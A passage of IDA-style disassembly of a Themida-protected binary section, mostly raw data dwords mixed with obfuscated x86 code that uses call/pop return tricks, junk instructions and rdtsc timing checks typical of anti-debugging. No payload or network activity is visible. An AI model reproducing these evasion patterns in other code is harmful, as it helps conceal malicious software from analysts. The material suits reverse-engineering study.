44810424h, 160424h, 53430000h, 2B1928C3h, 2890F50h dd 53000000h, 2404895Fh, 0E9C68B60h, 6, 0D96AF0C3h, 0FF618988h dd 130A3D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0F3B9B204h, 0E9FB8B66h, 11h, 410B5931h dd 0D366D0B4h, 0E53CF2E1h, 0CFE33B2Eh, 0BD8B619Fh, 6131295h dd 305585C7h, 30613h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 8B9E9EC3h, 54BD83BDh dd 616C4h, 2B840Fh, 0B5890000h, 6130029h, 3BE9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0B70F6BF4h, 0C3050DAh, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 53C35343h, 0DC4E56BFh, 0A99D8B21h, 8B061319h dd 130F019Dh, 55BD8306h, 3061330h, 4E3850Fh, 9D290000h dd 6130911h, 0C454BD83h, 0F000616h, 4D084h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 133A71F7h, 0E781660Fh, 0B5FFF6F3h, 616C454h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2BC35242h, 8AC56403h dd 0FF031440h, 13096995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8B539E5Ch dd 132ECDBDh, 11E85B06h, 58000000h, 7FE36B50h, 3D94E03Ch dd 11095465h, 2EB2BFFh, 48B58B5Fh, 6A0616C4h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0C07EC351h, 1DCD14CAh, 0B329BEB8h, 106C773h dd 6A000100h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 8EB5C351h, 28BA4E2Eh, 23BB508Dh dd 89319757h, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 37DEEDC3h, 54B5FF8Dh, 6A0616C4h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0BC7FC357h, 12ED9529h, 95FF0613h, 6133229h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5BC35040h dd 400F64BDh, 43EEF723h, 0FBB70F56h, 48B58B5Fh, 8B0616C4h dd 1306E9BDh, 0CE906h, 4C5C0000h, 85EE2C5h, 52CBD6C5h dd 858BE1ECh, 6130631h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 4DC35747h, 8689A2C2h, 0C4h, 12859589h dd 958B0613h, 6131BBDh, 835BF856h, 6A04C2h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0B4A164C3h dd 8921C370h, 51602050h, 810Fh, 8B5A0000h, 131B11B5h, 858D6106h dd 616D8E3h, 0E8FEBF0Fh, 13h, 9AE8273Dh, 9D016D7Fh, 0BA621E55h dd 0E2C026D4h, 8B196ECBh, 130A59BDh, 86895F06h, 0B8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 4C35242h, 0E62566BAh dd 13E9600Ch, 0DD000000h, 0FA36E745h, 4C49BE58h, 45EE2180h dd 0E83DA94Ah, 0C3807010h, 6A6188h, 0AE9h, 8C739600h, 0CEBE5755h dd 0FF55CF79h, 16C454B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 95FF37B6h dd 6131E95h, 518D8960h, 6006132Ah, 29EA8166h, 8E0F7Eh dd 61000000h, 7E85061h, 3C000000h, 0C4800985h, 0CE94F8Eh dd 91000000h, 1963BB2Fh, 0C39F3C2Ch, 5BE62F86h, 6A243489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 1D3CC351h, 0FF752B11h, 16C454B5h, 0FE8B6606h dd 214595FFh, 8D290613h, 6130C15h, 0BD83D98Bh, 6131495h dd 5C840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0C99AC351h, 669D72D1h dd 0E6EE781h, 0E4BB6650h, 243489F0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 7FC35545h, 0CDC5F905h, 8BD9BF0Fh dd 1328099Dh, 35B52906h, 0FF061316h, 16C454B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 1485E9BBh, 1EEBF7F6h, 8166D738h, 0FF9C30DBh, 1305AD95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0F5C07D0Eh, 0C454B5FFh, 6A0616h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 4953D5C3h, 0E8B18C8Fh, 11h, 0DC06AC1Ah, 89833F7Fh, 8B6269B0h dd 0FADC1301h, 95FF5F66h, 6131209h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 63C35747h, 0F6ED3B20h, 0BA1F745Eh dd 511BD83h, 0F020613h, 6284h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E6BDBDEAh dd 0BD8B82D4h, 6131B81h, 551BD01h, 858B0613h, 6130F55h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C6C35141h dd 666CECEFh, 891CECBFh, 13323D9Dh, 0C606h, 0C7FAB70Fh dd 131E5185h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 3E49F038h, 0CB8008F9h dd 0BD895007h, 61310A9h, 0F20AE95Fh, 6AFFFFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 954C8CC3h dd 0DDD9593Fh, 2A7D8589h, 0C18B0613h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0E6C35747h, 1D73FD89h, 4C9C5ECEh dd 0D5EF8166h db 12h ; --------------------------------------------------------------------------- loc_5C74ED: ; CODE XREF: Themida_:loc_5C65DBj lea eax, [ebp+6131EA9h] movzx edi, ax push eax mov ebx, 544F8779h mov [esp], eax push 0 push edx call sub_5C750A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C750A proc near ; CODE XREF: Themida_:005C7502p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5C750A endp ; --------------------------------------------------------------------------- dw 8065h ; --------------------------------------------------------------------------- push 0 or bl, 0DFh push 0 mov edi, ecx lea eax, [ebp+617B3CBh] mov bx, 725Ch add eax, 5 push 0 push eax call sub_5C753D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C753D proc near ; CODE XREF: Themida_:005C7535p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5C753D endp ; --------------------------------------------------------------------------- mov ebp, 5B47620Dh mov [ebp+61320CDh], edx nop mov di, ax push eax nop and ebx, [ebp+61315F5h] push 0 clc push 0 add edi, [ebp+61322EDh] call dword ptr [ebp+61307F1h] jmp loc_5C7589 ; --------------------------------------------------------------------------- dw 0EB74h dd 0D19DE545h, 26BEFFFEh, 6153CD9Ah db 20h ; --------------------------------------------------------------------------- loc_5C7589: ; CODE XREF: Themida_:005C7575j lea ecx, [ebp+616A36Ah] and ebx, [ebp+6130F51h] and edi, [ebp+61313ADh] call ecx push 0 push edi call sub_5C75A8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C75A8 proc near ; CODE XREF: Themida_:005C75A0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5C75A8 endp ; --------------------------------------------------------------------------- push 3B60D229h sub eax, 0BD8BC3ACh or [esi], ebx adc eax, [esi] pusha sub [ebp+6131621h], ebx popa cmp dword ptr [ebp+613173Dh], 1 jnz loc_5C7695 push 0 push eax call sub_5C75E6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C75E6 proc near ; CODE XREF: Themida_:005C75DEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5C75E6 endp ; --------------------------------------------------------------------------- xor esp, [esi-7Fh] div dword ptr [ebx-2Bh] push 2 jb loc_5C760A mov ebx, [ebp+6131301h] loc_5C760A: ; CODE XREF: Themida_:005C75FEj nop push eax push eax push edx push eax push edx jmp loc_5C761C ; --------------------------------------------------------------------------- db 97h, 7Ah, 0D0h dd 91A9760Ch ; --------------------------------------------------------------------------- loc_5C761C: ; CODE XREF: Themida_:005C7610j rdtsc jmp loc_5C762B ; --------------------------------------------------------------------------- dec eax cmp esi, [ebp+58h] retn ; --------------------------------------------------------------------------- db 89h, 0F0h, 70h ; --------------------------------------------------------------------------- loc_5C762B: ; CODE XREF: Themida_:005C761Ej pop edx pop eax rdtsc push esi pusha popa pop edi pop edx pop eax nop push 0 push esi call sub_5C7641 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7641 proc near ; CODE XREF: Themida_:005C7639p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5C7641 endp ; --------------------------------------------------------------------------- align 2 mov eax, 783C3737h lodsb pop esp xchg eax, ebx lahf mov ebx, [ebp+6131F09h] mov [ebp+6131931h], esi call dword ptr [ebp+6131E95h] push 0 push edx call sub_5C7678 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7678 proc near ; CODE XREF: Themida_:005C7670p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5C7678 endp ; --------------------------------------------------------------------------- adc eax, 30BD330h test cl, al mov ebx, [ebp+6132079h] loc_5C7695: ; CODE XREF: Themida_:005C75D5j jmp loc_5C84BD ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 617B3D5h jbe loc_5C76B7 pusha jg $+6 mov di, cx popa loc_5C76B7: ; CODE XREF: Themida_:005C76A6j mov [ebp+6131969h], ebx lea eax, [ebp+6168F5Eh] push 0 push esi call sub_5C76CE and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C76CE proc near ; CODE XREF: Themida_:005C76C6p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5C76CE endp ; --------------------------------------------------------------------------- dw 0CB14h dd 901F1EE8h, 9050D88Bh, 1AD8D89h, 0FF640613h, 35h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 64B0C5AAh, 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0A7ED92C3h, 0FFD88B09h dd 1316D985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0FF6A1A36h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 3EC35040h, 0E9BB20E3h, 0Eh dd 4417E383h, 2857BF55h, 68D09620h, 0B5FF96DAh, 6131B65h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A2C35040h dd 0F4757FF2h, 95FF0B9Fh, 61331ADh, 115E9h, 8900B000h dd 130D159Dh, 8B70E606h, 0E871E4FEh, 10h, 4D45C334h, 0A0D01E93h dd 705426B0h, 0EF876723h, 613C5FF9h, 0E8830Fh, 81660000h dd 0F1F49C7h, 8166C8B6h, 0BAA204DFh, 6, 8BFFB70Fh, 4E8C1C1h dd 188B0Fh, 0CE80000h, 20000000h, 0E68748BFh, 0D7450D1Eh dd 8B49183Ch, 132C119Dh, 0F7665F06h, 19BD8BE2h, 29061311h dd 1301C185h, 8BC82B06h, 130BE1BDh, 8BD18B06h, 1321C99Dh dd 26E78106h, 0E969DA6Ah, 6, 0E799531h, 858B0613h, 6132499h dd 0F07C083h, 178Ah, 12E900h, 0B72F0000h, 945B8DF5h, 0E8E277CEh dd 379CACFh, 0AC0A2EB2h, 8900C083h, 1331E98Dh, 0FD03B06h dd 1183h, 99BD8B00h, 0E9061308h, 3Eh, 21A18D89h, 8D8B0613h dd 61305F9h, 19618D89h, 0E1830613h, 23840F01h, 9000000h dd 130E45BDh, 0F9A58306h, 0FE061305h, 2F999D8Bh, 95890613h dd 6132499h, 0EB80FA8Bh, 0E9F4h, 0B58D0000h, 6172722h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 5EC35343h dd 0F98B6609h, 0BEEF8166h, 0DEBF662Ch, 66006A46h, 0FF8098BBh dd 130DA995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0B9F98BC1h, 808h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0F7C35747h, 0F5D10209h dd 880Fh, 0E1830000h, 9BD8BFCh, 0FC06130Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D2C35242h, 9D8BA595h dd 6131549h, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 26A0F657h, 75B464C4h dd 860F459Bh, 0 ; --------------------------------------------------------------------------- jbe loc_5C79C8 mov [ebp+613296Dh], esi loc_5C79C8: ; CODE XREF: Themida_:005C79BCj and di, 0C5Fh loc_5C79CD: ; CODE XREF: Themida_:005C7A42j mov edx, 0 push 0 push ebx call sub_5C79DD and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C79DD proc near ; CODE XREF: Themida_:005C79D5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5C79DD endp ; --------------------------------------------------------------------------- mov dh, 15h or [ebp+61324CDh], edx loc_5C79F5: ; CODE XREF: Themida_:005C79FFj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C79F5 push 0 push eax call sub_5C7A0C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7A0C proc near ; CODE XREF: Themida_:005C7A04p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5C7A0C endp ; --------------------------------------------------------------------------- xchg eax, ebp and [ecx+21h], ebp cmc push edi pop esi push 0 push ecx call sub_5C7A2E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7A2E proc near ; CODE XREF: Themida_:005C7A26p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5C7A2E endp ; --------------------------------------------------------------------------- dw 0F664h ; --------------------------------------------------------------------------- xchg esi, esp loope loc_5C79CD mov ch, 3Dh sbb dl, [ebx] push es mov edi, ebx sbb edi, 5B565660h or eax, 88h push 0 push ebp call sub_5C7A61 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7A61 proc near ; CODE XREF: Themida_:005C7A59p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C7A61 endp ; --------------------------------------------------------------------------- lodsb jmp loc_5C8F5F ; --------------------------------------------------------------------------- align 4 dd 0E5D74489h, 19B88E57h, 85671DBh, 0D882984Dh, 0EECB6229h dd 3F82F781h, 505F545Ch, 5FFAB70Fh, 1BBD958Bh, 6A0613h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0F4648C3h, 8E9h, 0F7FB0C00h, 0C87D4656h, 0DD8D8BE4h dd 6A061318h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 94FC352h, 1321298Dh, 6E806h, 26460000h dd 0F065D112h, 0F03CAEBBh, 8B505F4Dh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 29C35747h, 6FA8AA41h, 80E8CDA1h, 12E9ADh dd 525C0000h, 0ADAC3727h, 456FAC79h, 0B8641871h, 0EBA35E1Fh dd 0BE9h, 8FF3800h, 0E20D3D2Ch, 0BC2AA296h, 1D1DBD83h dd 0F000613h, 2484h, 5DBD2900h, 106130Eh, 13163995h, 0B806h dd 0BD8B0000h, 613351Dh, 4F8D8D8Dh, 0E1FF0613h, 0F88B6652h dd 55BD835Fh, 61330h, 3A0840Fh, 0BD8B0000h, 6132C85h, 2321B531h dd 0BD830613h, 6133055h, 0A2840F01h, 29000003h, 130E49BDh dd 0BD83F506h, 6133055h, 58860F03h, 1000003h, 13140585h dd 60606006h, 80CB8B66h, 6661E8ECh, 619C54BFh, 5E9h, 0CCA4F300h dd 8C663A5Fh, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 30630476h, 3D341D71h, 19A9BD29h dd 0F98B0613h, 6A04E180h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0B170C352h, 6880FA6h dd 8B000000h, 1315299Dh, 0FC90A06h, 0DF84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8BB537F6h, 132BB985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 33F96E99h, 1305B985h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 90C5035Ah, 87BB5250h, 0F6D23C9h, 0DF8B6631h dd 9050585Ah, 6AFDF380h, 19958900h, 80061319h, 5D685DEBh dd 66A75E06h, 481DF8Bh, 0C0FDA224h, 3D95FF58h, 6A06130Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0D25CC353h, 4C109415h, 8E9h, 1492D200h, 29AB0F55h dd 0D8B70F23h, 0C4548589h, 81660616h, 0E928CBCBh, 1BBh dd 0BAD4BB66h, 0C44C858Bh, 9D890616h, 6131E41h, 1800C7h dd 0BFBB0000h, 8B2B2EA1h, 16C450B5h, 0D9B70F06h, 2A55858Bh dd 0B1BF0613h, 921149Dh, 1329DD9Dh, 6A068906h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 892AC356h, 1323E9B5h, 0B9858B06h, 6A06132Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0C632C355h, 57044689h, 33A5BB66h, 0FCB7505Bh, 66243489h dd 0BD8BDF8Bh, 6132C65h, 0C44CB5FFh, 6A0616h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0CC798DC3h dd 0E8699FE2h, 4, 1F03FFh, 50FE8B66h, 8BFE8B66h, 66042444h dd 8B2AC6BFh, 13E85600h, 8E000000h, 38E47611h, 0BE90ADADh dd 0A55684B1h, 0AF316A98h, 5F508F88h, 44895F5Bh, 0DE90424h dd 15000000h, 57B3C8F2h, 3AF5D2FCh, 89DCD85Fh, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0A412AB42h, 0E9BE148Dh, 11h, 0D1A18BC2h, 0E6F0EF1Ah dd 6A7D421h, 0F9C25AD5h, 4D9D2384h, 8D061316h, 16C45485h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0FEC251DBh, 86D6B6EAh, 22558589h, 66900613h dd 6050DE8Bh, 8E4E21BEh, 6A906107h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0FB33C351h dd 7E7C64CCh, 0FC7BE2Eh, 28Eh, 0FFFE8B00h, 130A3D95h, 79BD8B06h dd 6106131Bh, 5585C7F5h, 3061330h, 31000000h, 131899BDh dd 54BD8306h, 616C4h, 21840Fh, 0BF660000h, 33E9EFB3h, 60000000h dd 1E71B589h, 8B660613h, 0E95661D9h, 6, 799B899Ch, 505B6252h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 8531C08Bh, 6131E99h, 31F19589h, 0BD830613h, 6133055h dd 16850F03h, 6A000005h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0E073C356h, 0B557A2A5h dd 8BB031C5h, 13118D9Dh, 54BD8306h, 616C4h, 4DF840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0FDC2F6C3h, 5C1114BEh, 0ADC781C6h, 0FF2E4A8Bh, 16C454B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 8E99E6Bh, 91000000h, 0C88FC553h, 0FFFEE006h dd 13096995h, 11E906h, 346E0000h, 9976BCF4h, 0E16F68EBh dd 0BC2E8C36h, 8B42BB70h, 16C448B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0E3B3940Eh dd 51E660C7h, 53BF3DA7h, 0C74FE331h, 1000106h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 4B762E26h, 665096EDh, 5F70F2BFh, 0AE950h, 4E500000h dd 1954B584h, 6875CBBFh, 50006A96h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0BD039568h, 6131BF1h dd 0C454B5FFh, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8BA289C3h, 1313F5BDh, 2995FF06h dd 6A061332h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 968AC356h, 532820BAh, 0ADCDA452h dd 39896BBh, 48B58B50h, 8B0616C4h, 1328259Dh, 31858B06h dd 9061306h, 1309158Dh, 0C4868906h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0AEEAC351h, 57DA8AA1h, 10E8h, 0D22B8800h, 0FB1CBCFAh dd 0FA312F67h, 2C75A799h, 5F616018h, 0BD958B5Bh, 0FC06131Bh dd 6A04C283h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 68DDC356h, 18ED9D01h, 50890613h dd 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0CD6D934Ah, 0BC68A25Ch, 6ADCBB66h, 63D5BB66h dd 0D8E3858Dh, 6A0616h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0A9E7FEC3h, 0F2C3A90h, 68Bh, 518D2900h dd 89061313h, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 65AADC63h, 0D19D33DBh dd 6A061325h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 668AFCEFh, 0FF8F81BBh, 16C454B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 87A8323Bh, 0B91FB86h, 0B70F6279h, 0FF3FB3DBh dd 131E9595h, 0ED8D8906h, 5006131Ah, 0A0BF6057h, 6035A5C2h dd 895B6161h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 12FE3AC3h, 2109BD8Bh, 0BF660613h dd 0B5FFAEFEh, 616C454h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0FDC35646h, 0E07409B1h, 0F781665Ch, 0CF81BE0Ah dd 3BD9A9FFh, 1E319D8Bh, 95FF0613h, 6132145h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CEC35141h, 9E35F8F9h dd 0B809610h, 0C684D781h, 0BD835786h, 6131495h, 4A840F00h dd 8B000000h, 8B0F50FEh, 15h, 10E9h, 365EE800h, 3307D993h dd 412BADB6h, 1EA4B554h, 24348963h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 7C35646h, 7549A9DEh, 4B60021Eh dd 459D27BBh, 54B5FF50h, 6A0616C4h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 3D71C356h dd 0AD95FF60h, 81061305h, 85F414C3h, 54B5FF03h, 6A0616C4h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 7895C357h, 120995FFh, 85890613h, 6132A61h dd 511BD83h, 0F020613h, 7C84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 8F0FE0h, 8B000000h dd 130F5585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 19BDEEE9h, 299D29F6h, 2906130Eh dd 132431BDh, 0C606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0F9C35343h, 81B86A19h, 0DF99F2E7h, 5185C74Eh dd 6131Eh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 9463C356h, 89D6A176h, 131CD58Dh dd 0F2B4E906h, 0AE9FFFFh, 0CC000000h, 0F2183FCEh, 4A50710Dh dd 8AC18BF6h db 0FEh ; --------------------------------------------------------------------------- loc_5C84BD: ; CODE XREF: Themida_:loc_5C7695j lea eax, [ebp+6131EA9h] push 0 push edi call sub_5C84CE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C84CE proc near ; CODE XREF: Themida_:005C84C6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5C84CE endp ; --------------------------------------------------------------------------- push 0FFFFFFD4h setalc test bh, ch rcl byte ptr [ebx], 6Dh dec ebp sub edx, [eax+5Bh] push eax mov [esp], eax push 0 push 0 push ecx call sub_5C84FB and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C84FB proc near ; CODE XREF: Themida_:005C84F3p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5C84FB endp ; --------------------------------------------------------------------------- db 0CEh ; --------------------------------------------------------------------------- mov esi, 6AE9E7h push 0 push eax call sub_5C851C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C851C proc near ; CODE XREF: Themida_:005C8514p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5C851C endp ; --------------------------------------------------------------------------- dd 0BD2394E7h, 6132405h, 0C419858Dh, 8B660617h, 5C083D8h dd 30019D33h, 0BD0B0613h, 6131D75h, 0EAA4BB50h, 4893F03h dd 0FDBD8B24h, 6A06132Fh, 619D8900h, 6A061305h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 681BD834h, 0FC6B2B7Fh, 0F195FF66h, 6A061307h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 4A9FC355h, 0A36A8D8Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0F1CD20C3h, 9D2B53C2h dd 613306Dh, 6E95Bh, 626B0000h, 87E1EE05h, 6AD1FFh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 1747AEC3h, 2CE024D8h, 5822E8BFh, 0B9F7816Bh, 832A996Ch dd 13173DBDh, 850F0106h, 0C3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 61C35646h, 6A026Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0D29258C3h, 0BD8BE4BBh, 61329E5h, 50BBB390h, 0DE8h dd 511DFC00h, 74DF284Ch, 0E77AAC6Eh, 0CE867E5h, 0FD000000h dd 3A03C121h, 0AF61685Dh, 0FBE9BF8h, 8Eh, 905B5B00h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 27C35747h, 1157AEC8h dd 35BD2BBDh, 0FF06130Bh, 131E9595h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0B5ADF0FCh dd 0E9DFB70Fh, 0C02h, 0E8h, 0ED815D00h, 617C423h, 7C0CBF66h dd 31199D31h, 858D0613h, 6168F5Eh, 323DBD8Bh, 89500613h dd 0FF642404h, 35h, 0DE800h, 94B70000h, 17184A0Ah, 497BC23h dd 5FB18B32h, 258964h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1432C356h dd 85FF64B5h, 61316D9h, 0D98B6652h, 